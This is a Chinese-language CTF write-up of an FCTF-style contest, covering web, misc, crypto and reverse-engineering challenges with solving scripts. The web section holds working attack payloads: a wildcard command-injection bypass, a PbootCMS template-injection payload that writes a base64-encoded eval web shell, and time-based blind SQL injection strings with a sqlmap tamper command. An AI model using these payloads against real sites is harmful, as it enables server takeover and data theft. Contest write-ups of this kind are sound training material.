实地考察得到13栋4单元到5单元
结果竟然不对???
多试几次发现原来是拍摄者的位置,14-2-3
When???ipc备案,我查过我自己的网站,上课的时候秒解了
web ezezweb上传就可以了,然后连接蚁剑
grep -r FCTF{ /var 没找到
原来flag在根目录:
EZ_php就只剩下
LMN dhuxz 或(|) 反引号(`) ; . ? = +还有数字0-9
没有被过滤了
you_will_never_know_me.php
???.???
dd du hd 命令可用
du 命令:
du ??????????????????????.???
输出:
4 you_will_never_know_me.php
说明you_will_never_know_me.php的长度是四字节
没思路了
目前就只有这一个命令有回显
看遍了菜鸟网站的linux命令,也没发现有和文件读取相关的命令可用。(菜鸟是真垃圾)
(https://www.linuxcool.com/category/file 里面有xxd命令,flag出来之前我怎么就直接忽略了试一下这个呢,害)
当我们需要一次执行多个命令的时候,命令之间需要用连接符连接,不同的连接符有不同的效果。下面我们总结一下,加以区分。 (1) ; 分号,没有任何逻辑关系的连接符。当多个命令用分号连接时,各命令之间的执行成功与否彼此没有任何影响,都会一条一条执行下去。 (2) || 逻辑或,当用此连接符连接多个命令时,前面的命令执行成功,则后面的命令不会执行。前面的命令执行失败,后面的命令才会执行。 (3) && 逻辑与,当用此连接符连接多个命令时,前面的命令执行成功,才会执行后面的命令,前面的命令执行失败,后面的命令不会执行,与 || 正好相反。 (4) | 管道符,当用此连接符连接多个命令时,前面命令执行的正确输出,会交给后面的命令继续处理。若前面的命令执行失败,则会报错,若后面的命令无法处理前面命令的输出,也会报错。
试了很多遍,发现执行hd是失败的(前面的命令执行失败,后面的命令才会执行。)
cat 由第一行开始显示文件内容 tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写! nl 显示的时候,顺道输出行号! more 一页一页的显示文件内容 less 与 more 类似,但是比 more 更好的是,他可以往前翻页! head 只看头几行 tail 只看尾巴几行 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep(尚未研究) 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件, 并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
看遍了几百篇文章,终于在一篇文章中发现了一个新的读取文件的命令:xxd(为什么回显和hd一毛一样,但是hd就是不行?????凭啥)https://www.freebuf.com/articles/web/264092.html
读文件命令 ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd
payload:
cmd=xxd ??u???????????????????.???
然后直接看源码就有了flag
FXZCMS-1至少三种解法以上
1.前台REC
2.文件上传(没试出来)
3.配合网站首页的底部信息栏,结合keywords,sql注入(但是这题flag在根目录,没法做)
http://101.35.98.118:10001/admin.php
账号密码:admin/123456
尝试了各种方法:
1.新建了一个文章,在这个文章页面填写shell,xss,没卵用
之后一直在找这个框架的各种信息,各种漏洞:
牛逼博客1:
https://www.anquanke.com/post/id/212603
牛逼博客2:
https://www.linuxlz.com/aqld/2399.html
牛逼博客3
https://nosec.org/home/detail/2001.html
牛逼博客4:
http://www.hackdig.com/06/hack-386326.htm
牛逼博客5:
https://www.anquanke.com/post/id/244821
最后的搜到了,直接有现成payload直接打的博客:
https://guokeya.github.io/post/VL0ntICBC/
在前台首页,直接给keywords传参,用file_put_contents在服务器写一个shell
{pboot{user:password}:if(([file_put_co.ntents][0])(([ba.se64_decode][0])([L3Zhci93d3cvaHRtbC9ydW50aW1lL2NvbXBsaWxlL0d1b2tlLnBocC8u][0]),(([bas.e64_decode][0])([PD9waHAKZXZhbCgkX1BPU1RbJ2d1b2tlJ10pOy8v][0]))));//)}xxx{/pboot:if}
shell:密码是guoke
位置是:/runtime/complile/Guoke.php/
EzSQL没被ban的:
select database() sleep AND UNIOn
被ban的:
union or and 空格 order
information (是因为有or)(可用用mysql默认存储引擎innoDB携带的表 mysql.innodb_table_stats和mysql.innodb_index_stats ,两表均有database_name和table_name字段,来绕过)
用 sqlmap自带的脚本:绕过空格
数据包添加
client-ip:*
之后放进2.txt
python sqlmap.py -r 2.txt -dbs --tamper “space2comment.py”
得到是基于时间的盲注
又不怎么会啊,现学吧。
尝试爆破数据库名:
'+(selectcasewhen(substring((selectschema_nameFROMinformation_schema.SCHEMATALIMIT1offset%d)FROM%dFOR1)='%s')thensleep(5)else1end)AND'1'='1
============================
之后一直在尝试执行最基础的sql语句,竟然sleep不了了,不知道为什么
client-ip: 1'ANDsleep(10)+--misc 三个拼图
我都是用手拼的
石头剪刀布nc 101.35.98.118 40010
random模块在python中起到的是生成随机数的作用,random模块中choice()可以从序列中获取一个随机元素,并返回一个(列表,元组或字符串中的)随机项。
1、random.choice()
可以从序列中获取一个随机元素;
choice() 方法返回一个(列表,元组或字符串中的)随机项。
2.random.seed()
随机时间数种子,一个固定的种子生成一个固定的随机序列
3.时区,时间戳,时差:
https://www.jianshu.com/p/bf47458a0423
解题步骤:
1.定时执行命令 “nc 101.35.98.118 40010”在某一个时间点执行nc命令,这样我们就可以直接获取到这个时间点的时间戳,从而获取石头剪刀布组成的随机序列
在linux 14:43:00执行:
import schedule
import time
import os
def get_challenge():
os.system("nc 101.35.98.118 40010")
schedule.every().day.at('14:43:00').do(get_challenge)
while True:
schedule.run_pending()
2.求得此时的时间戳:
import time dt = '2022-05-22 14:43:00' ts = int(time.mktime(time.strptime(dt, "%Y-%m-%d %H:%M:%S"))) print(ts)3.输入10组数据,得到14:43:00时的前十组数据:
布 布 布 布 布 布 布 布 布 布 布 布 布 布 布4.根据时间戳,求出时间戳最近10000个时间点的随机序列:
import time
import random
SHITOU = '石头'
JIANDAO = '剪刀'
BU = '布'
BASE = [SHITOU, JIANDAO, BU]
MAX = 5200
# dt = '2022-05-22 00:02:00'
# ts = int(time.mktime(time.strptime(dt, "%Y-%m-%d %H:%M:%S")))
# print(ts)
def get_challenge(t1):
t =t1
random.seed(round(t, 2))
return [random.choice(BASE) for _ in range(120)]
t=1653201780
with open("3.txt",'a') as fffff:
with open('1.txt','a') as xx:
for i in range(10000):
a=get_challenge(t)
for bb in range (13):
xx.write(a[bb])
xx.write(",")
xx.write(" ")
xx.write(str(t))
#fffff.write(str(a))
#fffff.write("n")
xx.write("n")
print(i," ",t)
t+=0.001
5.得到一个txt文件,里面包含了时间点14:43:00的10000组数据
在这个txt文件里搜索我们之前得到的10个石头剪刀布,从而找到剩下的110个石头剪刀布。
6.根据已求得的序列,一直赢就行了
================================================
不知道为什么不行,我一开始做这个题目我就意识到时区不一样,我就把linux的时区改成了东八区,学长给了提示之后,我又改回去了,然后用UCT时间来重新尝试了一下,无果,还是搜不到,难到也不是时区的问题?那是什么问题
==================================================
我把2022-05-19到2022-05-29十天的每个时间戳(包括小数点后两位的)都遍历了一下,总文件有6个多G,用emeditor查找,竟然也找不出正确序列,这就有点离谱了,为什么暴力枚举都不行
Noob Hacker分析流量包,一来就按照报文大小排序,就可以发现黑客打了一堆shell,分理出一个zip压缩包,要密码
还有一段passwd.m2s文件
之前一直以为和m2s有关,搜了一大堆,没有什么结果
根据搜索和猜测,是坐标有关,那就是鼠标,在github搜了一大堆鼠标流量的,knm什么工具都试了,没用
最后在一篇博客上看到了有关的极少信息,我就去试了,结果真是。
https://www.cnblogs.com/virgin-forest/p/7835317.html 题目:MISC 图穷匕见
真的和这个m2s太像了
用亿个脚本一步一步把数据提取出来:(这是我最后一步的脚本)
import os
with open('2323.txt','r') as file_obj:
contents = file_obj.readlines()
with open('3.txt', 'a') as ww:
for x in contents:
if len(x)==11:
ww.write(x[0:4])
ww.write(x[6:])
else:
ww.write(x[0:5])
ww.write(x[7:])
ww.close()
之后用gunplot画图得到:
fxz6868
打开压缩包,这我就熟悉了,就是用0和1画二维码嘛。之前的脚本都还在,改一下数据,25改成37
z="x1111111001011100100011011010101111111100000100100111011000010010100100000110111010100011000001111000011010111011011101001000110101010001110101011101101110101010110001100110111000101110110000010110101100000000011111010000011111111010101010101010101010101111111000000000001111000100110100100000000010010010101111000000100010001101101000110110011011000001101101001001011111011100100100010100010101110011011111101101101100001011100100001001010001101010101101001000000100100101000011000011000010100101000000100111100101011010010010110111110100110001011011011110101100101001100010000111110010101101011111101010110011001010000100100000001011000111010000001001001101011101101110101100010100011010100110011101111110011011111110111000000000101110111001011010110010001100000101101001111111001100000010100010000111001010101110101110101011001010110110011010000001010110100010100001111110011010011010011110011111100111010010001010110111011010011000101100111111000011111011011010100110000111011101110101010000110011111110101011001000000010111101100100111001111000100000110000011011111011100000000111110010000001100001000111111111111000111111111111001001101010000100000100100000100100000011110001110110111010011100000011101010111111111001011101011110000000000010101111010110101110100010100010000000000010001010010000010000110000111110011111001000111111111011101110101000101110111110101"
with open('3.txt','a') as xx:
for i in range(1,len(z)):
xx.write(z[i])
if i %37==0:
xx.write("n")
xx.close()
from PIL import Image
x = 37
y = 37
im = Image.new("RGB", (x, y)) # 创建图片
file = open('3.txt', 'r') # 打开rbg值文件
for i in range(0, x):
line = file.readline() # 获取一行
for j in range(0, y):
if line[j] == '0':
im.putpixel((i, j), (255, 255, 255)) # rgb转化为像素
else:
im.putpixel((i, j), (0, 0, 0)) # rgb转化为像素
im.show()
crypto
凯撒密码,base64,栅栏密码,都在CyberChef 秒解了(CyberChef 永远滴神,在其他解密网站解出来的很多都不行,一放在CyberChef就直接出,神了)
维吉尼亚密码找到了一个脚本:
分析词频很厉害
'''维吉尼亚破解'''
import numpy as np
import wordninja
def alpha(cipher): # 预处理,去掉空格以及回车
c = ''
for i in range(len(cipher)):
if (cipher[i].isalpha()):
c += cipher[i]
return c
def count_IC(cipher): # 给定字符串计算其重合指数
count = [0 for i in range(26)]
L = len(cipher)
IC = 0.0
for i in range(len(cipher)):
if (cipher[i].isupper()):
count[ord(cipher[i]) - ord('A')] += 1
elif (cipher[i].islower()):
count[ord(cipher[i]) - ord('a')] += 1
for i in range(26):
IC += (count[i] * (count[i] - 1)) / (L * (L - 1))
return IC
def count_key_len(cipher, key_len): # 对字符串按输入个数进行分组,计算每一组的IC值返回平均值
N = ['' for i in range(key_len)]
IC = [0 for i in range(key_len)]
for i in range(len(cipher)):
m = i % key_len
N[m] += cipher[i]
for i in range(key_len):
IC[i] = count_IC(N[i])
# print(IC)
print("长度为%d时,平均重合指数为%.5f" % (key_len, np.mean(IC)))
return np.mean(IC)
def length(cipher): # 遍历确定最有可能的密钥长度返回密钥长度
key_len = 0
mins = 100
aver = 0.0
for i in range(1, 10):
k = count_key_len(cipher, i)
if (abs(k - 0.065) < mins):
mins = abs(k - 0.065)
key_len = i
aver = k
print("密钥长度为%d,此时重合指数每组的平均值为%.5f" % (key_len, aver))
return key_len
def count_MIC(c1, c2, n): # n=k1-k2为偏移量,计算c1,c2互重合指数MIC
count_1 = [0 for i in range(26)]
count_2 = [0 for i in range(26)]
L_1 = len(c1)
L_2 = len(c2)
MIC = 0
for i in range(L_1):
if (c1[i].isupper()):
count_1[ord(c1[i]) - ord('A')] += 1
elif (c1[i].islower()):
count_1[ord(c1[i]) - ord('a')] += 1
for i in range(L_2):
if (c2[i].isupper()):
count_2[(ord(c2[i]) - ord('A') + n + 26) % 26] += 1
elif (c2[i].islower()):
count_2[(ord(c2[i]) - ord('a') + n + 26) % 26] += 1
for i in range(26):
MIC += count_1[i] * count_2[i] / (L_1 * L_2)
return MIC
def count_n(c1, c2): # 确定两个子串最优的相对偏移量n=k1-k2
n = 0
mins = 100
k = [0.0 for i in range(26)]
for i in range(26):
k[i] = count_MIC(c1, c2, i)
# print(i,k[i])
if (abs(k[i] - 0.065) < mins):
mins = abs(k[i] - 0.065)
n = i
return n
def group_k(cipher, key_len): # 完成分组操作并计算每一组与第一组的最优相对偏移量并返回
N = ['' for i in range(key_len)]
MIC = [0 for i in range(key_len)]
s = [0 for i in range(key_len)]
for i in range(len(cipher)): # 对密文进行分组
m = i % key_len
N[m] += cipher[i]
for i in range(1, key_len): # 计算与第一组之间的相对偏移量
s[i] = count_n(N[0], N[i]) # s[i] = k1-k(i+1)
MIC[i] = count_MIC(N[0], N[i], s[i]) # MIC[i] = MIC(1,i+1)
print("第1组和第%d组之间偏移为%d时,互重合指数为%.5f" % (i + 1, s[i], MIC[i]))
return s
def miyao(key_len, s, k): # k为第一个子串的移位,输出密钥并返回密钥所有字母的下标
mi = ['' for i in range(key_len)]
for i in range(key_len):
s[i] = -s[i] + k # k2=k1-n
mi[i] = chr((s[i] + 26) % 26 + ord('a'))
print("第一个偏移量为%d,密钥为%s时" % (k, mi))
return s
def the_end(cipher, key_len, s): # 输入密文密钥返回明文结果
plain = ''
i = 0
while (i < len(cipher)):
for j in range(key_len):
if (cipher[i].isupper()):
plain += chr((ord(cipher[i]) - ord('A') - s[j] + 26) % 26 + ord('A'))
else:
plain += chr((ord(cipher[i]) - ord('a') - s[j] + 26) % 26 + ord('a'))
i += 1
if (i == len(cipher)):
break
# print(plain)
return plain
if __name__ == "__main__":
fp = open("3.txt", "r")
cipher = ''
for i in fp.readlines():
cipher = cipher + i
fp.close()
cipher = alpha(cipher)
key_len = length(cipher)
s = group_k(cipher, key_len)
m = s.copy()
for k in range(26):
s = m.copy()
s = miyao(key_len, s, k)
plain = the_end(cipher, key_len, s)
print(plain[0:20]) # 输出部分明文确定偏移量k1
print("参考输出,请输入第一个子串的偏移量:", end='')
k = int(input())
m = miyao(key_len, m, k)
plain = the_end(cipher, key_len, m)
'''对英文文本进行分词'''
word = wordninja.split(plain)
plain = ''
for i in range(len(word)):
plain += word[i]
plain += ' '
print("明文为n" + plain)
多重编码
找了很久,发现UU很像
Uuencode编码+base64
ezzzRSA 、ez_RSA通杀脚本:第二个rsa只是分了一个段而已,没什么差别
from libnum import n2s, s2n, invmod import gmpy2 def Decrypt(c,e,p,q): L=(p-1)*(q-1) d=gmpy2.invert(e,L) n=p*q m=gmpy2.powmod(c,d,n) flag=int(m) print(n2s(flag)) if __name__ == '__main__': p = 140408194478090148572230754269267056908393637481132042251322286785917495223505452291071054020181215941872370071526097700828405993548225389672724799009744802984917900704884958293229949722542481334203861800752403603291827794743286575289778364303043349192399688202525130279238274991145890936163371775497439388497 q = 91729177914549263407041696886396887881905756407200396531976408788853762060099388493598976008208791372288387508691864423222721470481104996390291508850092635849517452980882593514623456964719040057062142881294145880819191452547171229846159468257068830256499725900181198655126364773318464748541475985470795507387 e = 19937 c = 3019545215789794009268743986127358251529488846028660569104077439050166993017805350758444316692039781569615592723357775809534153804971156397755491094538743855590259371879191188117652552187761254872183776246157454144583201041835892847112904290959451789415781009315313181455520792219064030845477283139590986430727799460419216780016408775362922209237967748162573746779493467391797858994680431669300544368732375716515116125816097964533800450236608925138173871136430358330224654196901727521700947260297553689921718678720333697830920046302985008084020610577338907245399396244788666822117678532106778932279048101404432520028 Decrypt(c,e,p,q)re game
非常简单地照着撸个脚本:
#include#include using namespace std; int main() { int v1[28]; v1[0] = 0; v1[1] = 27; v1[2] = 14; v1[3] = 0; v1[4] = 35; v1[5] = 3; v1[6] = 118; v1[7] = 45; v1[8] = 5; v1[9] = 20; v1[10] = 107; v1[11] = 110; v1[12] = 42; v1[13] = 52; v1[14] = 35; v1[15] = 25; v1[16] = 19; v1[17] = 52; v1[18] = 118; v1[19] = 47; v1[20] = 5; v1[21] = 2; v1[22] = 107; v1[23] = 56; v1[24] = 51; v1[25] = 97; v1[26] = 123; v1[27] = 59; int x=5920838; for (int i=0;i<28;++i){ cout<< char( v1[i] ^ (x + i % 3 )); } return 0; } //FFFdK0jMR,&lsk_T|0hMD,pu&3} //第一位和最后一位都是我们想要的,后来发现3的倍数位都是我们想要的
一开始只有i=0的时候是正常字符,比如第一位是F,最后一位是},i=1,1=2都不是正常字符。
后来乱试,试出来,我们要得到FCTF{},第二个字母要是C,v[1]=27,而58^27才是等于C,而58刚好是IAD里面看到v3=“ZXF”的第二个字节58,那我就懂了,i其实是取v3的第几个字节,轮着来取,这样就可以。
所以重新写个脚本试试:
#includefake#include using namespace std; union bit32_data { uint32_t data; struct { uint8_t byte0; uint8_t byte1; uint8_t byte2; uint8_t byte3; }byte; }; int main() { int v1[28]; v1[0] = 0; v1[1] = 27; v1[2] = 14; v1[3] = 0; v1[4] = 35; v1[5] = 3; v1[6] = 118; v1[7] = 45; v1[8] = 5; v1[9] = 20; v1[10] = 107; v1[11] = 110; v1[12] = 42; v1[13] = 52; v1[14] = 35; v1[15] = 25; v1[16] = 19; v1[17] = 52; v1[18] = 118; v1[19] = 47; v1[20] = 5; v1[21] = 2; v1[22] = 107; v1[23] = 56; v1[24] = 51; v1[25] = 97; v1[26] = 123; v1[27] = 59; int x=5920838; union bit32_data num; num.data = 0x5a5846; printf("byte0 = 0x%xn", num.byte.byte0); printf("byte1 = 0x%xn", num.byte.byte1); printf("byte2 = 0x%xn", num.byte.byte2);//取出三个字节 for (int i=0;i<28;++i){ if (i%3==0) cout << char(( num.byte.byte0 ) ^ v1[i]);//分别和各个字节异或运算 if (i%3==1) cout << char(( num.byte.byte1 ) ^ v1[i]); if (i%3==2) cout << char(( num.byte.byte2 ) ^ v1[i]); } return 0; }
一开始怎么都没想到是base64,一直在找其他他的flag试着提交,今天猛然想起应该签到题不会这么绕来绕去啊,试了一下base64直接出。
Tea找tea算法的页面都找了半天,一直找不到。。。
找到了,用findcypto插件可以直接查看到tea算法的伪代码:参考
https://www.cnblogs.com/zhaijiahui/p/7978897.html
https://www.cnblogs.com/mke2fs/p/10938455.html
int __cdecl sub_45C250(int *a1, _DWORD *a2)
{
int result; // eax
int i; // [esp+10Ch] [ebp-2Ch]
int v4; // [esp+118h] [ebp-20h]
int v5; // [esp+124h] [ebp-14h]
int v6; // [esp+130h] [ebp-8h]
__CheckForDebuggerJustMyCode(&unk_536003);
v6 = *a1;
v5 = a1[1];
v4 = 0;
for ( i = 0; i < 32; ++i )
{
v4 -= 0x61C88647;
v6 += (a2[1] + (v5 >> 5)) ^ (v4 + v5) ^ (*a2 + 16 * v5);
v5 += (a2[3] + (v6 >> 5)) ^ (v4 + v6) ^ (a2[2] + 16 * v6);
}
*a1 = v6;
result = 4;
a1[1] = v5;
return result;
}
根据https://www.cnblogs.com/sk2rw/p/14797633.html可以得出:
a2就是key,v4-=0x61c88647和v4+=0x9e3779b9是等价的,显然DELTA就是0x9e3779b9
一毛一样。
算了,没什么时间了,要是还有半天的话应该可以慢慢磨出来。。



